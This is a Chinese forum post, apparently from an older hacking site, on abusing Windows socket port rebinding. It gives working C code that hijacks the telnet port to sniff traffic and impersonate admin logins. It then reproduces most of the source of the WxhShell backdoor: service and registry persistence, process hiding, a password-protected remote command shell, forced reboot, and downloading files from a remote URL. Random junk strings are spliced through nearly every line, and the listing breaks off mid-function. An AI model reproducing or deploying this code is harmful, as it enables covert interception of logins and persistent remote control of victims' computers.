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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Dl/UZ@8pl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bTHa;* `  
k=bv!T_o  
  saddr.sin_family = AF_INET; EGGy0ly  
=OO_TPEZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ok({Al1A,w  
!1"~tA!+p=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JEBo!9  
^"+cJ)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e@^}y4 C  
o`j%$K4?5  
  这意味着什么?意味着可以进行如下的攻击: iJrscy-  
oRWsi/Zf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6x/ X8zu  
Qn%*kU0X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ! 2Y, a  
S%xGXmZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R?|_` @@A  
3+ i(fg_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  //Tr=!TQu  
F/EHU?_EI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gi;V~>kh  
tg8VFH2q.z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <"[}8  
;-]f4O8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bR&hI9`%F  
Tu/JhP/g,`  
  #include U-n33ty`H  
  #include =C3l:pGMB;  
  #include At bqj?  
  #include    Vj?.'(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   & vLX  
  int main() @#Xzk?+  
  { 5E!|-xD  
  WORD wVersionRequested; b$Uwj<v  
  DWORD ret; B|GJboQ  
  WSADATA wsaData; %] #; ~I%  
  BOOL val; vCpi|a_eCu  
  SOCKADDR_IN saddr; 7L-%5:1%  
  SOCKADDR_IN scaddr; i*U\~CZjT  
  int err; \GvVs  
  SOCKET s; )uX:f8  
  SOCKET sc; -O_UpjR;  
  int caddsize; v\MH;DW^Z  
  HANDLE mt; #JLDj(a?  
  DWORD tid;   #!`zU4&2  
  wVersionRequested = MAKEWORD( 2, 2 ); "]NQTUb;  
  err = WSAStartup( wVersionRequested, &wsaData ); O5=ggG  
  if ( err != 0 ) { M"9 zK[cz  
  printf("error!WSAStartup failed!\n"); |t]9RC.;7  
  return -1; lMm-K%(2  
  } quKD\hL$  
  saddr.sin_family = AF_INET; &J~S  $  
   mJsYY,b8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hr{%'DAS  
M5x!84  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l.34h  
  saddr.sin_port = htons(23); Sm Ei _u]'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "pWdz}!  
  { #VO2O0GR  
  printf("error!socket failed!\n"); .nSupTyG  
  return -1; C`jP8"-  
  } T*{zL  
  val = TRUE; Asn0&Ys4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 FI/YJ@21  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Fhsmpe~  
  { gOWyV@  
  printf("error!setsockopt failed!\n"); fN4p G*D  
  return -1; ZK ?x_`w  
  } #P4dx'vm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |,7J!7T(I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5{u6qc4FW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F d\XDc[g  
ipzUF o<w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h#n8mtt&i  
  { m+m6"yE#_  
  ret=GetLastError(); {fb~`=?  
  printf("error!bind failed!\n"); fhY[I0;}$  
  return -1; dI 5sqM:  
  } wU ; f   
  listen(s,2); dikWk  
  while(1) |be r:1  
  { kR6 t .  
  caddsize = sizeof(scaddr); -+9x 0-P  
  //接受连接请求 3N bn|_`(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i]53A0l  
  if(sc!=INVALID_SOCKET) kr*c?^b  
  { cyhD%sB[D9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B![5+  
  if(mt==NULL)  hY1|qp  
  { !U#++Zig%  
  printf("Thread Creat Failed!\n"); NDOZ!`LqH  
  break; &CL|q+-  
  } ).]m@g:ew  
  } gZjOlp  
  CloseHandle(mt); r$#G%FMv  
  } X]yERaJ,i  
  closesocket(s); -/-6Td1JY>  
  WSACleanup(); zkp Apj].  
  return 0; =_'cG:=)  
  }   reA8=>b/  
  DWORD WINAPI ClientThread(LPVOID lpParam) yo*iv+l  
  { SznE:+  
  SOCKET ss = (SOCKET)lpParam; gr 5]5u  
  SOCKET sc; <nvWC/LU  
  unsigned char buf[4096]; =GQ^uVf1  
  SOCKADDR_IN saddr; >jX UO  
  long num; ys/mv'#>  
  DWORD val; <c ovApx  
  DWORD ret; A&P1M6Of  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VM]IL%AN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e9W7ke E*  
  saddr.sin_family = AF_INET; %]ayW$4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }o^A^  
  saddr.sin_port = htons(23); 5b#6 Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aE BP9RX}z  
  { {% _j~  
  printf("error!socket failed!\n"); B Z?W>'B%$  
  return -1; v1C.\fL  
  } x~;EH6$5'/  
  val = 100; H\I!J@6g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q H_W\W  
  { %?f:"  
  ret = GetLastError(); *yaX:,'\$  
  return -1; M%{?\)s  
  } HqdJdWl#"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &^IcL!t[  
  { +V9B  
  ret = GetLastError(); *9vA+uN  
  return -1; ^v!im\ r  
  } A$~xG(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )@qup _M@  
  { ZB[(Tv1  
  printf("error!socket connect failed!\n"); 5$oewjLO  
  closesocket(sc); YvruK: I  
  closesocket(ss); `.'i V[fr  
  return -1; ~g1, !Wl  
  } FxfL+}?Q  
  while(1) GzFE%< 9F  
  { /u)Rppu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u:k:C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0HR|aqPo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "XNu-_$N<a  
  num = recv(ss,buf,4096,0); L"foL  
  if(num>0) Px?Ao0)Z,  
  send(sc,buf,num,0); )_8}53C  
  else if(num==0) 'e]HP-Y<  
  break; NQC3!=pQ}Y  
  num = recv(sc,buf,4096,0); \C K(;J  
  if(num>0) 6z3T?`}Y  
  send(ss,buf,num,0); nMG rG  
  else if(num==0) xP/OsaxN  
  break; !&`}]qQZ  
  } #%^\\|'z  
  closesocket(ss); S= -M3fP~  
  closesocket(sc); -@2'I++"@  
  return 0 ; -\kXH"%  
  } ;cI#S%uvpn  
.G}k/`a  
_1sMYhI  
========================================================== dk_,YU'z  
!:"-:O}>=,  
下边附上一个代码,,WXhSHELL gF[6c`-s  
`l/:NF  
========================================================== u#+RUtM  
dL_QX,X-]  
#include "stdafx.h" h2wN<dJCM  
c^=R8y-N  
#include <stdio.h> +z-[s6q2m  
#include <string.h> YwL`>?  
#include <windows.h> zF5q=9 4$  
#include <winsock2.h> )N(9pnyZH  
#include <winsvc.h> p jKt:R}  
#include <urlmon.h> y"^yYO  
J&eAL3"GF  
#pragma comment (lib, "Ws2_32.lib") n%/i:Whs  
#pragma comment (lib, "urlmon.lib") HU &)  
3;*z3;#}  
#define MAX_USER   100 // 最大客户端连接数 i&`!|X-=R  
#define BUF_SOCK   200 // sock buffer P:sAqvH6  
#define KEY_BUFF   255 // 输入 buffer Y4#y34 We  
{A|bBg1!  
#define REBOOT     0   // 重启 #{!O,`qD  
#define SHUTDOWN   1   // 关机 XHsd-  
]cIu|bRO  
#define DEF_PORT   5000 // 监听端口 pOm@b `S%  
W`$[j0  
#define REG_LEN     16   // 注册表键长度 S%kS#U${|  
#define SVC_LEN     80   // NT服务名长度 cd!|Ne>fe  
`=79i$,,t  
// 从dll定义API @(-yrU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9\ v.qo.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x;u~NKy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o{V#f_o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @,k7xm$u  
d.`&0  
// wxhshell配置信息 .Gh%p`<  
struct WSCFG { BCx!0v?9  
  int ws_port;         // 监听端口 _gKu8$o=-  
  char ws_passstr[REG_LEN]; // 口令 ic-IN~J-  
  int ws_autoins;       // 安装标记, 1=yes 0=no )1f+ld%R  
  char ws_regname[REG_LEN]; // 注册表键名 '[nmFCG%m*  
  char ws_svcname[REG_LEN]; // 服务名 "u;YI=+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7 _g+^e-"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0Uw ^FcW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1Bg_FPu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^agj4$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "cMNdR1^,y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qD-fw-,:  
vZ@g@zB4o0  
}; .+yW%~0  
mc ZGg;3  
// default Wxhshell configuration 7^MX l  
struct WSCFG wscfg={DEF_PORT, \ZS TKi?  
    "xuhuanlingzhe", BwxnDeG)  
    1, Jx$iwu  
    "Wxhshell", JrDHRIkgm  
    "Wxhshell", ,r=re!QI7  
            "WxhShell Service", LkBZlh_  
    "Wrsky Windows CmdShell Service", ~c* UAowS  
    "Please Input Your Password: ", +`.,| |Mq  
  1, :CaTP%GW  
  "http://www.wrsky.com/wxhshell.exe", @2 =z}S3O  
  "Wxhshell.exe" ewnfeg1  
    }; CISO<z0  
)KY:m |Z  
// 消息定义模块 -$JO8'TP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AW~"yI<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k4{:9zL1#?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *Qkc[XHqy  
char *msg_ws_ext="\n\rExit."; 3b!,D  
char *msg_ws_end="\n\rQuit."; Jdj?I'XtY  
char *msg_ws_boot="\n\rReboot..."; zizk7<?L .  
char *msg_ws_poff="\n\rShutdown..."; MBw-*K'?zB  
char *msg_ws_down="\n\rSave to "; $^_|j1 z#i  
JA^v  
char *msg_ws_err="\n\rErr!"; V8PLFt;  
char *msg_ws_ok="\n\rOK!"; >72JV; W]  
h*w6/ZL1  
char ExeFile[MAX_PATH]; *(QH{!-$s  
int nUser = 0; i ]o"_=C  
HANDLE handles[MAX_USER]; G[Tl%w  
int OsIsNt; =o^|bih  
a#0;==#  
SERVICE_STATUS       serviceStatus; 3`F) AWzdr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "aq'R(/`c  
0$HmY2 Men  
// 函数声明 B4g8 ~f  
int Install(void); )oU)}asY  
int Uninstall(void); &@v<nO-  
int DownloadFile(char *sURL, SOCKET wsh); L{8;Ud_2r  
int Boot(int flag); Gy"%R-j7  
void HideProc(void); qOy=O [+9  
int GetOsVer(void); k<j"~S1  
int Wxhshell(SOCKET wsl); ^G|98yc!'  
void TalkWithClient(void *cs); %Mn.e a  
int CmdShell(SOCKET sock); "y;bsZBd"  
int StartFromService(void); sL^yB  
int StartWxhshell(LPSTR lpCmdLine); 9$1)k;ChP/  
d=3'?l`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iwF9[wAft  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OCV+h'  
@f1*eo5f  
// 数据结构和表定义 {i [y9  
SERVICE_TABLE_ENTRY DispatchTable[] = w?y 6nTg<  
{ E JK0  
{wscfg.ws_svcname, NTServiceMain}, aP-<4uGx  
{NULL, NULL} d 8o53a]  
}; [xZU!=  
)3A{GZj#6  
// 自我安装 F<&!b2)ML  
int Install(void)  $_;e>*+x  
{ s!+ pL|  
  char svExeFile[MAX_PATH]; e Y$qV}  
  HKEY key; oG oK,  
  strcpy(svExeFile,ExeFile); ,'fxIO  
\2C`<h$fN  
// 如果是win9x系统,修改注册表设为自启动 w#y0atsg'  
if(!OsIsNt) { O9M{  ).  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aA'TD:&p1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _BM4>r?\  
  RegCloseKey(key); vH[47CvG5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GW^,g@%C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OO) ~HV4\  
  RegCloseKey(key); 1bnBji  
  return 0; U7 @AC}.+  
    } *Zk>2<^R  
  } 9xI GV!  
} AyKMhac  
else { .="bzgC3A  
J3RB]O_  
// 如果是NT以上系统,安装为系统服务 LNYKm~c N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CY:d`4  
if (schSCManager!=0) ~&dyRt W4  
{ n/d`qS  
  SC_HANDLE schService = CreateService '9p@vi{\  
  ( {Ro2ouQ!V  
  schSCManager, 0|4%4 Mt  
  wscfg.ws_svcname, rqPo)AL  
  wscfg.ws_svcdisp, BR`ygrfe  
  SERVICE_ALL_ACCESS, gV;H6"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4R^mI  
  SERVICE_AUTO_START, S[3iA~)Z-  
  SERVICE_ERROR_NORMAL, `4?~nbz  
  svExeFile, *iO u'  
  NULL, (IqZ@->nw  
  NULL, 5 |0,X<&  
  NULL, yOU(2"8p  
  NULL, K7knK  
  NULL hg.#DxRi{  
  ); `3H4Ajzcc  
  if (schService!=0) 5zJj]A  
  { q%n6K  
  CloseServiceHandle(schService); d_UN0YT<  
  CloseServiceHandle(schSCManager); $ i)bq6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z}QwP~Z  
  strcat(svExeFile,wscfg.ws_svcname); GE;e]Jkjn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { } "vW4   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ix@&$!'k  
  RegCloseKey(key); - O98pi  
  return 0; ( 9!k#  
    } Mv 544>:  
  } ,j;m!V  
  CloseServiceHandle(schSCManager); 9O` m,t  
} S1 Z2_V  
} p^<yj0Y  
3`d}~v{  
return 1; 0]KraLu"N  
} qf@q]wtar  
Ac2(O6  
// 自我卸载 <~}7Mxn%x@  
int Uninstall(void) f0<hE2  
{ 7Dzuii?1  
  HKEY key; h5%<+D<  
WV3|?,y]qm  
if(!OsIsNt) { e0@ 6Pd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'E/*d2CDM(  
  RegDeleteValue(key,wscfg.ws_regname); ]-oJ[5cQ0v  
  RegCloseKey(key); />¬$>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >_rha~   
  RegDeleteValue(key,wscfg.ws_regname); D']ZlB 'K  
  RegCloseKey(key); [U}+sTQ  
  return 0; bfB\h*XO  
  } $vHU$lZ/W  
} ,fK3ZC  
} ~$' \L  
else { Q9I j\HbA"  
QK0 h6CX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @L.82p{h  
if (schSCManager!=0) L;gO;vO  
{ {o5V7*P;_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t+5E#!y  
  if (schService!=0) ^~{$wVGa  
  { -.g|l\  
  if(DeleteService(schService)!=0) { <;E  
  CloseServiceHandle(schService); S3L~~X/=  
  CloseServiceHandle(schSCManager); iA8U Yd3Q  
  return 0; 0ye!R   
  } f;/QJ  
  CloseServiceHandle(schService); [M.f-x:  
  } W@y J AQ  
  CloseServiceHandle(schSCManager); qo<&J f  
} Q{k At%  
} GUF"<k  
jTLSdul+  
return 1; IbcZ@'RSw  
} Pnd `=%w%]  
C3G)'\yL  
// 从指定url下载文件 S1D@vnZ3O\  
int DownloadFile(char *sURL, SOCKET wsh) kdb(I@6  
{ kId n6 Wx,  
  HRESULT hr; mxb06u _  
char seps[]= "/"; `%09xMPu  
char *token; k}KC/d9.z  
char *file; l>Ub!^;  
char myURL[MAX_PATH]; %0? M?Jf  
char myFILE[MAX_PATH]; (`? y2n)~W  
`R"I;qV  
strcpy(myURL,sURL); 1sP dz L  
  token=strtok(myURL,seps); Bi@&nAhn@  
  while(token!=NULL) )K'N(w  
  { DJP2IP  
    file=token; {O|'U'  
  token=strtok(NULL,seps); wvrrMGU)a  
  } -l%J/:  
*D'$"@w3  
GetCurrentDirectory(MAX_PATH,myFILE); 5OoN!TEM  
strcat(myFILE, "\\"); c5|:,wkx  
strcat(myFILE, file); : Sq?a0!S  
  send(wsh,myFILE,strlen(myFILE),0); H3Se={5h\A  
send(wsh,"...",3,0); 4A9{=~nwT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~EK'&Y"1  
  if(hr==S_OK) _-5,zP R  
return 0; F@R1:M9*  
else <cA/<3k)  
return 1; >Z1q j>  
4(-b x.V  
} `b c;]@"  
E9V 5$  
// 系统电源模块 mrV!teP  
int Boot(int flag) }8;[O 9  
{ 0(_l|PScF  
  HANDLE hToken; 2< hAa9y  
  TOKEN_PRIVILEGES tkp; vSonkJ_  
yjJ5P`j]  
  if(OsIsNt) { .rPn5D Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pH`44KAuM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZylJp8U  
    tkp.PrivilegeCount = 1; 4e;QiTj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8( b tZt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &sF^Fgg{  
if(flag==REBOOT) {  r[?1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \P1=5rP  
  return 0; qYhs|tY)  
} M`6y@<  
else { )Fb>8<%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m~uOXb  
  return 0; Py{ <bd  
} %p X6QRt?  
  } f{0F|w< gf  
  else { \p%3vRwS%p  
if(flag==REBOOT) { _{jjgQJ5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #Wu*3&a]yU  
  return 0; fL]Pztsk+  
} :$+-3_oLMQ  
else { [%&ZPJT%i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w\}?(uO  
  return 0; n<B<93f/  
} <'G~8tA%v  
} oq*N_mP0  
r]ShZBAbYp  
return 1; ?aW^+3i  
} I}2P>)K  
jjM{]  
// win9x进程隐藏模块 F]O$(7*  
void HideProc(void) f3|@|' ;  
{  )J?{+3  
l]<L [Y,E-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Lr`1TH,  
  if ( hKernel != NULL ) P=1I<Pew  
  { z6py"J@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p\{-t84n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]; %0qb  
    FreeLibrary(hKernel); BnRN;bu  
  } 7RDDdF E!  
$Ci0I+5w  
return; 34!dYr%  
} SR*wvQnOx  
>R/$1e1Y  
// 获取操作系统版本 m0{!hF[^  
int GetOsVer(void) &Z?ut *%S  
{ ()sTb>L  
  OSVERSIONINFO winfo; h d~$WV0#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); , *qCf@$I  
  GetVersionEx(&winfo); %P;Q|v6/|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'B0{U4?   
  return 1; `"@X.}\  
  else n41@iK2l  
  return 0; oUQ07z\C  
} I]!^;))  
A[WV'!A,  
// 客户端句柄模块 q2:K 4  
int Wxhshell(SOCKET wsl) 1y^K/.5-  
{ 9z?oB&5  
  SOCKET wsh; rw)kAe31  
  struct sockaddr_in client; HyiF y7j  
  DWORD myID; Jw~( G9G  
4x%(9_8 {-  
  while(nUser<MAX_USER) 80M;4nH^5  
{ kqG0%WtQ  
  int nSize=sizeof(client); 8vk..!7n}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H;aYiy  
  if(wsh==INVALID_SOCKET) return 1; D\ /xu-&  
G,=yc@uq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (wmBjQ]B<  
if(handles[nUser]==0) X}P$emr7  
  closesocket(wsh); c.\O/N   
else Cc?TSZ8[  
  nUser++; YGc^h(d  
  } &/.hx(#d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0:KE@=  
c^8o~K>w84  
  return 0; )x#5Il H  
} e7u^mJ  
a'\By?V]  
// 关闭 socket {J/I-=CmML  
void CloseIt(SOCKET wsh) }G$]LWgQx  
{  t4Z  
closesocket(wsh); "x'),  
nUser--; +&KQ28r  
ExitThread(0); S~$'WA  
} HEqWoV]{d  
0%s|Zbo!>  
// 客户端请求句柄 ;evCW$G=  
void TalkWithClient(void *cs) k&hc m  
{ \F,DA"K_  
iV.p5FD  
  SOCKET wsh=(SOCKET)cs; ,(G%e  
  char pwd[SVC_LEN]; >95TvJ  
  char cmd[KEY_BUFF]; tNs~M4TVVH  
char chr[1]; V's:>;  
int i,j;  0JRD  
RaSz>-3d  
  while (nUser < MAX_USER) { M ixwK,  
gM;}#>6  
if(wscfg.ws_passstr) { o?Sla_D   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o7&4G$FX~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  H'RL62!  
  //ZeroMemory(pwd,KEY_BUFF); -U2mfW  
      i=0; `29TY&p+"  
  while(i<SVC_LEN) { E(<LvMiCa  
-'rj&x{Q)U  
  // 设置超时 t0PQ~|H<KV  
  fd_set FdRead; |c-LSs'\  
  struct timeval TimeOut; V'Y{v  
  FD_ZERO(&FdRead); 9CUimZ  
  FD_SET(wsh,&FdRead); #`tD1T{;  
  TimeOut.tv_sec=8; KGZ?b2N?Va  
  TimeOut.tv_usec=0; ?SY<~i<K-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Wf02$c0#K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4YbC(f  
@kngI7=E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `0BdMKjA  
  pwd=chr[0]; !>;w!^U  
  if(chr[0]==0xd || chr[0]==0xa) { @%i>XAe#0  
  pwd=0; EiV=RdL  
  break; ]>:^d%n,}  
  } Z$K+ 7>^  
  i++; `rWB`q|i<  
    } !"4w&bQ  
` DCU>bt&R  
  // 如果是非法用户,关闭 socket UFZ"C,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o0;7b>Tv  
} d5xxb _oE  
*)VAaGUX>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mps *}9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G_oX5:J*  
I"!'AI-  
while(1) { `ypL]$cW  
;R1B9-,  
  ZeroMemory(cmd,KEY_BUFF); 2tr :xi@  
SR*Gqx  
      // 自动支持客户端 telnet标准   qMgfMhQ7DU  
  j=0; :k!j"@r  
  while(j<KEY_BUFF) { `!c,y~r[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l=Wd,$\  
  cmd[j]=chr[0]; .Vx|'-u  
  if(chr[0]==0xa || chr[0]==0xd) { kJ8vKcc  
  cmd[j]=0; >_Uj?F:  
  break; <%!J?  
  } ?R?Grw)`H  
  j++; GAU!_M5N  
    } J~J@ ]5/  
$v&C@l \  
  // 下载文件 AUAI3K?  
  if(strstr(cmd,"http://")) { J/S{FxNe]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _om[VKJd  
  if(DownloadFile(cmd,wsh)) Ex,JB +  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N#Ag'i4HF  
  else >~&(P_<b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]bfqcmh<  
  } e{t=>vry  
  else { kME^tpji  
T'R,vxP)\  
    switch(cmd[0]) { ;5M<j3_*  
  t-lv|%+8  
  // 帮助 } J;~P 9Y  
  case '?': { 1l]C5P}E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eUs-5 L  
    break; VG\mo?G  
  } "A7<XN<  
  // 安装 !Zj#.6c9  
  case 'i': { K`gc 4:A  
    if(Install()) &|z|SY]DL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qtnv#9%Vi  
    else c!~T2t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3uO8v{`  
    break; WY.5K =}  
    } JjDS"hK#  
  // 卸载 JX&~y.F  
  case 'r': { qL>v&Rd<  
    if(Uninstall()) "3ug}k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! OfO:L7-  
    else ;*`_#Rn#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vrO%XvXW  
    break; )]}$   
    } dgY5ccP  
  // 显示 wxhshell 所在路径 7V/Zr  
  case 'p': { }#|2z}!  
    char svExeFile[MAX_PATH]; &z QWIv  
    strcpy(svExeFile,"\n\r"); .)0gz!Z  
      strcat(svExeFile,ExeFile); 7yUvL8p-  
        send(wsh,svExeFile,strlen(svExeFile),0); ?Hk.|5A}  
    break; bQpoXs0w;  
    } /gX%ABmS  
  // 重启 8'% +G  
  case 'b': { m>O2t-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =ty2_6&>  
    if(Boot(REBOOT)) sOC| B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hvL6zCi  
    else { G "c/a8  
    closesocket(wsh); N&,"kRFFo  
    ExitThread(0); g!\QIv1D  
    } ZgK@Fl*k  
    break; XC2Q*Z  
    } ^:U;rHY  
  // 关机 MKe *f%  
  case 'd': { %27G2^1  
